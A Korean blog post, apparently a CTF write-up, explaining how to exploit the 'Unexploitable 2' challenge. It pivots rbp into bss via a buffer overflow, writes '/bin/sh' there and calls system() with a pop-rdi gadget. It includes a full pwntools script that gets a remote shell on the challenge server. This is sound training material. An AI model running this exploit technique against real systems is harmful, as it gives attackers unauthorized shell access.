1번과 마찬가지로 취약점은 그냥 준다.


system() 함수의 plt도 그냥 준다.


1번과 다른 점은... "sh\x00"의 고정 주소가 없다는 점이다.

고정주소에 "/bin/sh\x00"를 올리고 이를 system() 함수의 매개변수로 주면 된다.

시나리오는 다음과 같다.


1. 오버플로우 시킬 때 rbp를 bss로 넣어주고, 취약한 함수를 다시 부른다.

2. 이때 인풋을 bss에 받기 때문에 "/bin/sh\x00"를 올리고 바로 system() 함수를 부른다.


rbp를 bss로 덮는 이유는, 두 번째 fgets() 함수 호출시 입력을 bss에 넣기 위함이다.

fgets() 함수가 입력 받을 때 입력 버퍼 주소를 다음과 같이 rbp를 기준으로 잡는다.


첫 번째 오버플로우시 rbp를 bss+0x10으로 잡아주면, 두 번째 입력은 고스란히 bss에 들어갈 것이다.

from pwn import *

#p = process('./Unexploitable_2')
p = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')
bss = e.bss() + 0x800

print 'bss :', hex(bss)

p.recvuntil('dynstr!\n')

payload = "A"*0x10
payload += p64(bss + 0x10) # fake rbp == bss + 0x10
payload += p64(0x4006EE) # fgets again (on bss)
p.sendline(payload)

sleep(0.3)

payload2 = "/bin/sh\x00" # on bss
payload2 += "B"*(0x18-len(payload2))
payload2 += p64(0x0000000000400773) # pop rdi ret
payload2 += p64(bss+5)
payload2 += p64(e.plt['system'])
p.sendline(payload2)

p.interactive()


'write-up > ctf.j0n9hyun.xyz' 카테고리의 다른 글

[j0n9hyun] Unexploitable 2  (0) 2019.07.23
[j0n9hyun] Unexploitable 1  (0) 2019.07.23
Posted by 범고래_1

댓글을 달아 주세요